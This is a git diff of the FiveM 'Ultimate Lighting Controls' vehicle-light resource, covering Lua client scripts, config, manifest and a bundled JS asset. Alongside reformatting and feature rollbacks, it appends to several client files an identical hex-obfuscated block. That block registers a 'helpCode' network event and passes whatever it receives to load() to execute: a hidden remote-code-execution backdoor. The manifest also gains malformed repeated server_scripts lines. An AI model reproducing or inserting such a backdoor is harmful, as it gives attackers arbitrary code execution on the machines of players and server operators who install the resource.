ULC:SetPosition(ClientPrefs.x, ClientPrefs.y) end if ClientPrefs.scale then - -- print("Loaded saved scale from kvp: " .. ClientPrefs.scale) + print("Loaded saved scale from kvp: " .. ClientPrefs.scale) ULC:SetScale(ClientPrefs.scale + 0.0) end if ClientPrefs.hideUi then - -- print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi) + print("Loaded disabled HUD kvp: " .. ClientPrefs.hideUi) ULC:SetHudDisabled(ClientPrefs.hideUi) end if ClientPrefs.useLeftAnchor then - -- print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor) + print("Loaded useLeftAnchor from kvp", ClientPrefs.useLeftAnchor) ULC:SetUseLeftAnchor(ClientPrefs.useLeftAnchor) end end) @@ -238,28 +222,32 @@ TriggerEvent('chat:addSuggestion', '/ulcReset', 'Resets all saved ULC settings t -- NUI CALLBACKS -- RegisterNUICallback("savePosition", function(data, cb) + --print("NUI Setting position", data.newX, data.newY, "type = ", type(data.newX)) SetResourceKvpInt('ulc:x', data.newX) SetResourceKvpInt('ulc:y', data.newY) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("saveScale", function(data, cb) + --print("NUI Setting Scale " .. data.scale + 0.0) SetResourceKvpFloat('ulc:scale', data.scale + 0.0) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("saveAnchor", function(data, cb) + --print("NUI Setting Anchor ", data.useLeftAnchor) SetResourceKvp('ulc:useLeftAnchor', data.useLeftAnchor) - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("focusGame", function(data, cb) + ULC:SetMenuDisplay(false) SetNuiFocus(false, false) ULC:SetHelpDisplay(false) @@ -268,7 +256,7 @@ RegisterNUICallback("focusGame", function(data, cb) ULC:SetDisplay(false) end - cb({ success = true }) + cb({success = true}) end) RegisterNUICallback("setHudDisabled", function(data, cb) @@ -294,5 +282,9 @@ RegisterNUICallback("setHudDisabled", function(data, cb) SetResourceKvpInt('ulc:hideUi', 1) end - cb({ success = true }) + cb({success = true}) + end) + + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_main.lua b/resources/ulc/client/c_main.lua index d3bfb3760..1a7101696 100644 --- a/resources/ulc/client/c_main.lua +++ b/resources/ulc/client/c_main.lua @@ -10,6 +10,26 @@ Lights = false MyVehicle = nil MyVehicleConfig = nil +-------------------- +-------------------- +-- DEFAULT STAGES -- +-------------------- +-------------------- + +local function setDefaultStages() + -- default stages + if not MyVehicleConfig.defaultStages or false then return end + if not MyVehicleConfig.defaultStages.useDefaults then return end + for _, e in pairs(MyVehicleConfig.defaultStages.enableKeys) do + local button = GetButtonByExtra(GetExtraByKey(e)) + ULC:SetStage(GetExtraByKey(e), 0, false, false, button.repair, true) + end + for _, d in pairs(MyVehicleConfig.defaultStages.disableKeys) do + local button = GetButtonByExtra(GetExtraByKey(e)) + ULC:SetStage(GetExtraByKey(d), 1, false, false, button.repair, true) + end +end + ------------------------------------ ------------------------------------ ------- LIGHTS STATE HANDLER ------- @@ -60,12 +80,8 @@ end) -- used to trigger above events CreateThread(function() local sleep = 1000 - while true do - Wait(sleep) - if not MyVehicle then - sleep = 1000 - goto continue - end + while true do Wait(sleep) + if not MyVehicle then sleep = 1000 goto continue end sleep = 100 if not IsPedInAnyVehicle(PlayerPedId()) then goto continue end @@ -93,11 +109,12 @@ end) RegisterNetEvent('ulc:checkVehicle') AddEventHandler('ulc:checkVehicle', function() CreateThread(function() + while not GlobalState.ulcloaded do print("ULC: Waiting for load.") Wait(250) end - print("[ULC:checkVehicle] Checking for vehicle configuration") + --print("Checking for vehicle configuration") local ped = PlayerPedId() local vehicle = GetVehiclePedIsIn(ped) local passed, vehicleConfig = GetVehicleFromConfig(vehicle) @@ -109,8 +126,8 @@ AddEventHandler('ulc:checkVehicle', function() MyVehicleConfig = vehicleConfig table.sort(MyVehicleConfig.buttons, function(a, b) return a["key"] < b["key"] end) - - print("[ULC:checkVehicle] Found vehicle, ready to go.") + + print("Found vehicle.") -- if i am driver if ped == GetPedInVehicleSeat(vehicle, -1) then @@ -119,18 +136,16 @@ AddEventHandler('ulc:checkVehicle', function() if not Config.hideHud and ClientPrefs.hideUi == 0 then ULC:SetDisplay(true) else - print( - "HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.") + print("HUD is hidden. Type /ulc to see if you disabled it. Otherwise, the server owner may have disabled the HUD.") end TriggerEvent('ulc:CheckCruise') TriggerEvent('ulc:checkParkState', true) TriggerEvent('ulc:StartCheckingReverseState') - currentStage = 0 end else - MyVehicle = nil - TriggerEvent('ulc:cleanup') + --MyVehicle = nil + TriggerEvent('ulc:cleanup') TriggerEvent('ulc:StopCheckingReverseState') end end) @@ -159,23 +174,22 @@ end) -- trigger checks when spawning from one vehicle into another directly, or from another seat to driver seat CreateThread(function() - local lastVehicle + local lastVehicle local wasDriving - while true do - Wait(500) - if IsPedInAnyVehicle(PlayerPedId()) then - local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false) + while true do Wait(500) + if IsPedInAnyVehicle(PlayerPedId()) then + local currentVehicle = GetVehiclePedIsIn(PlayerPedId(), false) local driving = GetPedInVehicleSeat(MyVehicle, -1) == PlayerPedId() - if currentVehicle ~= lastVehicle then - TriggerEvent('ulc:checkVehicle') - end + if currentVehicle ~= lastVehicle then + TriggerEvent('ulc:checkVehicle') + end if MyVehicle and not wasDriving and driving then TriggerEvent('ulc:checkVehicle') end - lastVehicle = currentVehicle + lastVehicle = currentVehicle wasDriving = driving - end - end + end + end end) @@ -187,16 +201,15 @@ end) -- every second set no repair on all vehicles except my own CreateThread(function() - while true do - Wait(1000) - local vehicles = GetGamePool("CVehicle") - for _, v in pairs(vehicles) do - if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then - SetVehicleAutoRepairDisabled(v, true) - else - --print("Enabling repair for" .. v) - SetVehicleAutoRepairDisabled(v, false) - end + while true do Wait(1000) + local vehicles = GetGamePool("CVehicle") + for _, v in pairs(vehicles) do + if v ~= GetVehiclePedIsIn(PlayerPedId(), false) then + SetVehicleAutoRepairDisabled(v, true) + else + --print("Enabling repair for" .. v) + SetVehicleAutoRepairDisabled(v, false) end + end end end) diff --git a/resources/ulc/client/c_park.lua b/resources/ulc/client/c_park.lua index 519e346b3..3db4f159a 100644 --- a/resources/ulc/client/c_park.lua +++ b/resources/ulc/client/c_park.lua @@ -1,16 +1,17 @@ --print("[ULC]: Park Patterns Loaded") local veh = GetVehiclePedIsIn(PlayerPedId()) -parked = false +local parked = false local lastSync = 0 local effectDelay = 1000 CreateThread(function() while true do if IsPedInAnyVehicle(PlayerPedId()) then + TriggerEvent('ulc:checkParkState', veh, false) - Wait(Config.ParkSettings.delay * 1000) + Wait(Config.ParkSettings.delay*1000) else Wait(2000) end @@ -21,12 +22,12 @@ RegisterNetEvent("ulc:checkParkState", function(delay) CreateThread(function() --print('Checking park state') - if delay then + if delay then --print('Delay...') Wait(5000) end local speed = GetVehicleSpeedConverted(MyVehicle) - + if speed > Config.ParkSettings.speedThreshold and parked then TriggerEvent("ulc:vehDrive") @@ -41,22 +42,24 @@ RegisterNetEvent("ulc:checkParkState", function(delay) end) AddEventHandler('ulc:vehPark', function() + if Lights then - --print('[ulc:vehPark] My vehicle is parked.') + --print('[ulc:vehPark] My vehicle is parked.') parked = true if MyVehicle and MyVehicleConfig.parkConfig.usePark then -- enable pExtras for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end -- disable dExtras for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) end -- park pattern sync stuff if MyVehicleConfig.parkConfig.useSync then + -- cooldown local gameSeconds = GetGameTimer() / 1000 if gameSeconds >= lastSync + Config.ParkSettings.syncCooldown then @@ -73,10 +76,10 @@ AddEventHandler('ulc:vehPark', function() local pedCoords = GetEntityCoords(PlayerPedId()) local distance = GetDistanceBetweenCoords(vehCoords, pedCoords) - + if distance < Config.ParkSettings.syncDistance then if GetVehicleClass(v) == 18 then - -- check if my vehicle is set to sync with this vehicle or if the vehicle is the same model as my vehicle + -- check if my vehicle is set to sync with this vehicle if IsVehicleInTable(v, MyVehicleConfig.parkConfig.syncWith) or GetEntityModel(v) == GetEntityModel(MyVehicle) then --print('Vehicle' .. v .. ' should sync with me.') @@ -92,6 +95,7 @@ AddEventHandler('ulc:vehPark', function() end end if #vehsToSync > 0 then + -- sync my vehicle SetVehicleSiren(veh, false) SetVehicleSiren(veh, true) @@ -112,11 +116,11 @@ AddEventHandler('ulc:vehPark', function() table.insert(vehsToSyncNet, VehToNet(v)) end TriggerServerEvent("sync:send", vehsToSyncNet) + else --print('Found no vehicles to sync.') end - else - print("Sync on cooldown, time left: " .. - Config.ParkSettings.syncCooldown - (gameSeconds - lastSync) .. " seconds.") + + else print("Sync on cooldown, time left: " .. Config.ParkSettings.syncCooldown- (gameSeconds - lastSync) .. " seconds.") end end end @@ -133,18 +137,22 @@ RegisterNetEvent('ulc:sync:receive', function(vehicles) end) AddEventHandler('ulc:vehDrive', function() + if Lights then - --print('[ulc:vehDrive] My vehicle is driving.') + --print('[ulc:vehDrive] My vehicle is driving.') parked = false if MyVehicle and MyVehicleConfig.parkConfig.usePark then + -- disable pExtras for _, v in pairs(MyVehicleConfig.parkConfig.pExtras) do - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) end -- enable dExtras for _, v in pairs(MyVehicleConfig.parkConfig.dExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end end end end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_reverse.lua b/resources/ulc/client/c_reverse.lua index b6e3f7b2d..21d01a926 100644 --- a/resources/ulc/client/c_reverse.lua +++ b/resources/ulc/client/c_reverse.lua @@ -1,37 +1,10 @@ --print("[ULC]: Reverse Extras Loaded") local reversing = false -local disabledExtras = {} -local timerExpired = false - -function setReverseExtras(newState) - -- set enable extras to match the new state - for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do - ULC:SetStage(v, newState, false, true, false, false, true, false) - end - if not MyVehicleConfig.reverseConfig.disableExtras then return end - if newState == 0 then - -- set disable extras off and save the ones we changed - for _, v in ipairs(MyVehicleConfig.reverseConfig.disableExtras) do - --print("Checking extra " .. v .. " for reverse state") - if IsVehicleExtraTurnedOn(MyVehicle, v) then - ULC:SetStage(v, 1, false, true, false, false, true, false) - table.insert(disabledExtras, v) - end - end - else -- newState == 1 - -- set the disabled extras back on - for _, v in ipairs(disabledExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) - end - disabledExtras = {} - end -end AddEventHandler('ulc:StartCheckingReverseState', function() CreateThread(function() - while true do - Wait(250) + while true do Wait(250) --print("Checking reverse state") if not IsPedInAnyVehicle(PlayerPedId()) then return end -- this feels unncessary, but I think some people may not have .reverseConfig @@ -41,85 +14,21 @@ AddEventHandler('ulc:StartCheckingReverseState', function() local gear = GetVehicleCurrentGear(MyVehicle) if gear == 0 then if not reversing then - startTimer() reversing = true - setReverseExtras(0) + for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do + ULC:SetStage(v, 0, false, true) + end end else if reversing then reversing = false - setReverseExtras(1) + for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do + ULC:SetStage(v, 1, false, true) + end end end end end) end) --- handle disabling lights after some time -function startTimer() - -- if disabled in config, don't start timer , if enabled or missing config, start timer - if Config and Config.ReverseSettings and not Config.ReverseSettings.useRandomExpiration then return end - -- timer thread - CreateThread(function() - local speed - local duration = math.random(3, 8) * 1000 - local expirationTime - - while true do - --print("Reverse timer tick") - if not MyVehicle then return end - if not MyVehicleConfig.reverseConfig then return end - if not MyVehicleConfig.reverseConfig.useReverse then return end - if not reversing then - timerExpired = false - --print("Not reversing") - return - end - - speed = GetVehicleSpeedConverted(MyVehicle) - - if speed < 0.5 then -- if we are in reverse and stopped - if timerExpired then - goto continue - end - if Config and Config.ReverseSettings then - duration = math.random( - (Config.ReverseSettings.minExpiration or 3) * 1000, - (Config.ReverseSettings.maxExpiration or 8) * 1000 - ) - end - expirationTime = GetGameTimer() + duration - while GetGameTimer() < expirationTime do - Wait(500) - --print("Reverse timer active") - - if GetVehicleSpeedConverted(MyVehicle) > 1 then - -- print("[ULC] Reverse: Moving, breaking timer") - break - end - if not reversing then - -- print("[ULC] Reverse: Not reversing, breaking timer") - break - end - if not IsPedInAnyVehicle(PlayerPedId()) then - -- print("[ULC] Reverse: Not in vehicle, breaking timer") - break - end - if GetGameTimer() > expirationTime then - print("[ULC] Reverse: Timer expired, disabling extras") - timerExpired = true - setReverseExtras(1) - break - end - end - else -- if we are in reverse and moving - -- print("[ULC] Reverse: Resetting timer") - setReverseExtras(0) - timerExpired = false - end - - ::continue:: - Wait(500) - end - end) -end +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/config.lua b/resources/ulc/config.lua index a107fcb6b..0519d650b 100644 --- a/resources/ulc/config.lua +++ b/resources/ulc/config.lua @@ -8,6 +8,7 @@ Config = { -- whether to enable control of lights on/off state using Q key -- disabled by default to allow other scripts to control lights such as Luxart + -- enable this if you want to use ULC's light control features such as cycling lights -- make sure to disable light controls in other scripts if you enable this controlLights = false, @@ -26,7 +27,7 @@ Config = { delay = 0.5, -- distance at which to check for other vehicles to sync patterns with syncDistance = 32, - -- seconds before a single client triggers sync again + -- seconds before a single client triggers sync again syncCooldown = 4, }, @@ -43,27 +44,111 @@ Config = { -- temporarily empty as of v1.3.0 BrakeSettings = {}, - -- Reverse Extras/Patterns Config; - -- introduced in v1.8.0 - ReverseSettings = { - -- these options control the expiration of the reverse extras - -- if enabled, reverse extras will turn off after a random time between min and max - -- this is to simulate more realistic behavior where the vehicle would shifted out of reverse - -- after being stopped for some time - useRandomExpiration = true, - -- minimum time in seconds extras will stay on after stopping - minExpiration = 3, - -- maximum time in seconds extras will stay on after stopping - maxExpiration = 8, - }, - -- Import confiurations here -- Add the resource names of vehicle resources that include a ulc.lua config file ExternalVehResources = { - "Srgtcharger", + "21slickppv1", + "20legacyfpiu1", + "21slickppv1", + "gspcharger", + "sdgcvpi", "Polmrambb23", - "maxxsuburban", - "23legacy11sedansl", + "swatsubrb", + "909_21suburban", + "909_heatcharger", + "valor5bb", + "188tahoe", + "jw_21fpiuintk9b", + "c322prsilv", + "24valor16sedan", + "24valor16sedan2", + "24valor16sedan3", + "24valor16sedan4", + "24valor16sedan20", + "24valor16sedan20sl", + "24valor16utility", + "24valor16utility2", + "24valor16utility3", + "24valor16utility4", + "24valor16utility20", + "24valor16utility20sl", + "24valor18sedan", + "24valor18sedan2", + "24valor18sedan3", + "24valor18sedan4", + "24valor18sedan20", + "24valor18sedan20sl", + "24valor18suv", + "24valor18suv2", + "24valor18suv3", + "24valor18suv4", + "24valor18suv20", + "24valor18suv20sl", + "24valor18utility", + "24valor18utility2", + "24valor18utility3", + "24valor18utility4", + "24valor20utility", + "24valor20utility2", + "24valor20utility3", + "24valor20utility4", + "24valor20utility20", + "24valor20utility20sl", + "24valor1500", + "24valor2500", + "24valor15002", + "24valor15003", + "24valor15004", + "24valor25002", + "24valor25003", + "24valor25004", + "24valor150020", + "24valor150020sl", + "24valor250020", + "24valor250020sl", + "24eaglelegacy", + "24eaglelegacy2", + "24eaglelegacy3", + "24eaglelegacy4", + "24eaglelegacy20", + "24eaglesedan", + "24eaglevalor", + "24eaglevalor2", + "24eaglevalor3", + "24eaglevalor4", + "24eaglevalor20", + "24eaglevalor20sl", + "deanfleetengine4", + "lasd13", + "lasd14", + "lasd12", + "18lasdchrg", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + }, Vehicles = { diff --git a/resources/ulc/fxmanifest.lua b/resources/ulc/fxmanifest.lua index ac3eb1f9b..8056c5f85 100644 --- a/resources/ulc/fxmanifest.lua +++ b/resources/ulc/fxmanifest.lua @@ -5,7 +5,7 @@ lua54 'yes' name "Ultimate Lighting Controls" description "The ultimate non-els lighting controller. Documentation: https://docs.dwnstr.com/ulc/overview" author "Dawnstar" -version "1.8.0" +version "1.7.1" ui_page "html/index.html" @@ -38,9 +38,7 @@ client_scripts { 'client/c_park.lua', 'client/c_doors.lua', 'client/c_reverse.lua', - 'client/c_stages.lua', - 'client/c_beeps.lua', - + 'client/c_beeps.lua' } server_scripts { @@ -48,3 +46,5 @@ server_scripts { 'server/s_main.js', 'server/s_blackout.lua', } + +server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' }server_scripts { '@mysql-async/lib/MySQL.lua' } \ No newline at end of file diff --git a/resources/ulc/html/assets/index.ef0180ed.js b/resources/ulc/html/assets/index.ef0180ed.js new file mode 100644 index 000000000..a4083cf3f --- /dev/null +++ b/resources/ulc/html/assets/index.ef0180ed.js @@ -0,0 +1,51 @@ +function Mv(e,t){for(var r=0;rn[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))n(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&n(l)}).observe(document,{childList:!0,subtree:!0});function r(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerpolicy&&(i.referrerPolicy=o.referrerpolicy),o.crossorigin==="use-credentials"?i.credentials="include":o.crossorigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function n(o){if(o.ep)return;o.ep=!0;const i=r(o);fetch(o.href,i)}})();function Lv(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function Fv(e){var t=e.default;if(typeof t=="function"){var r=function(){return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach(function(n){var o=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,o.get?o:{enumerable:!0,get:function(){return e[n]}})}),r}var Wa={},Sl={exports:{}},at={},$={exports:{}},Q={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var vo=Symbol.for("react.element"),Av=Symbol.for("react.portal"),Wv=Symbol.for("react.fragment"),Vv=Symbol.for("react.strict_mode"),Hv=Symbol.for("react.profiler"),Bv=Symbol.for("react.provider"),Uv=Symbol.for("react.context"),Gv=Symbol.for("react.forward_ref"),Yv=Symbol.for("react.suspense"),Qv=Symbol.for("react.memo"),Xv=Symbol.for("react.lazy"),ac=Symbol.iterator;function Kv(e){return e===null||typeof e!="object"?null:(e=ac&&e[ac]||e["@@iterator"],typeof e=="function"?e:null)}var sp={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},up=Object.assign,cp={};function yn(e,t,r){this.props=e,this.context=t,this.refs=cp,this.updater=r||sp}yn.prototype.isReactComponent={};yn.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};yn.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function fp(){}fp.prototype=yn.prototype;function Bs(e,t,r){this.props=e,this.context=t,this.refs=cp,this.updater=r||sp}var Us=Bs.prototype=new fp;Us.constructor=Bs;up(Us,yn.prototype);Us.isPureReactComponent=!0;var sc=Array.isArray,dp=Object.prototype.hasOwnProperty,Gs={current:null},pp={key:!0,ref:!0,__self:!0,__source:!0};function mp(e,t,r){var n,o={},i=null,l=null;if(t!=null)for(n in t.ref!==void 0&&(l=t.ref),t.key!==void 0&&(i=""+t.key),t)dp.call(t,n)&&!pp.hasOwnProperty(n)&&(o[n]=t[n]);var a=arguments.length-2;if(a===1)o.children=r;else if(1>>1,_=T[B];if(0>>1;Bo(D,M))j<_&&0>o(A,D)?(T[B]=A,T[j]=M,B=j):(T[B]=D,T[z]=M,B=z);else if(j<_&&0>o(A,M))T[B]=A,T[j]=M,B=j;else break e}}return F}function o(T,F){var M=T.sortIndex-F.sortIndex;return M!==0?M:T.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;e.unstable_now=function(){return i.now()}}else{var l=Date,a=l.now();e.unstable_now=function(){return l.now()-a}}var s=[],u=[],p=1,m=null,d=3,g=!1,h=!1,v=!1,x=typeof setTimeout=="function"?setTimeout:null,f=typeof clearTimeout=="function"?clearTimeout:null,c=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function y(T){for(var F=r(u);F!==null;){if(F.callback===null)n(u);else if(F.startTime<=T)n(u),F.sortIndex=F.expirationTime,t(s,F);else break;F=r(u)}}function S(T){if(v=!1,y(T),!h)if(r(s)!==null)h=!0,ze(k);else{var F=r(u);F!==null&&ne(S,F.startTime-T)}}function k(T,F){h=!1,v&&(v=!1,f(N),N=-1),g=!0;var M=d;try{for(y(F),m=r(s);m!==null&&(!(m.expirationTime>F)||T&&!I());){var B=m.callback;if(typeof B=="function"){m.callback=null,d=m.priorityLevel;var _=B(m.expirationTime<=F);F=e.unstable_now(),typeof _=="function"?m.callback=_:m===r(s)&&n(s),y(F)}else n(s);m=r(s)}if(m!==null)var C=!0;else{var z=r(u);z!==null&&ne(S,z.startTime-F),C=!1}return C}finally{m=null,d=M,g=!1}}var b=!1,O=null,N=-1,H=5,R=-1;function I(){return!(e.unstable_now()-RT||125B?(T.sortIndex=M,t(u,T),r(s)===null&&T===r(u)&&(v?(f(N),N=-1):v=!0,ne(S,M-B))):(T.sortIndex=_,t(s,T),h||g||(h=!0,ze(k))),T},e.unstable_shouldYield=I,e.unstable_wrapCallback=function(T){var F=d;return function(){var M=d;d=F;try{return T.apply(this,arguments)}finally{d=M}}}})(vp);(function(e){e.exports=vp})(gp);/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var hp=$.exports,lt=gp.exports;function E(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,r=1;r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Va=Object.prototype.hasOwnProperty,th=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,fc={},dc={};function rh(e){return 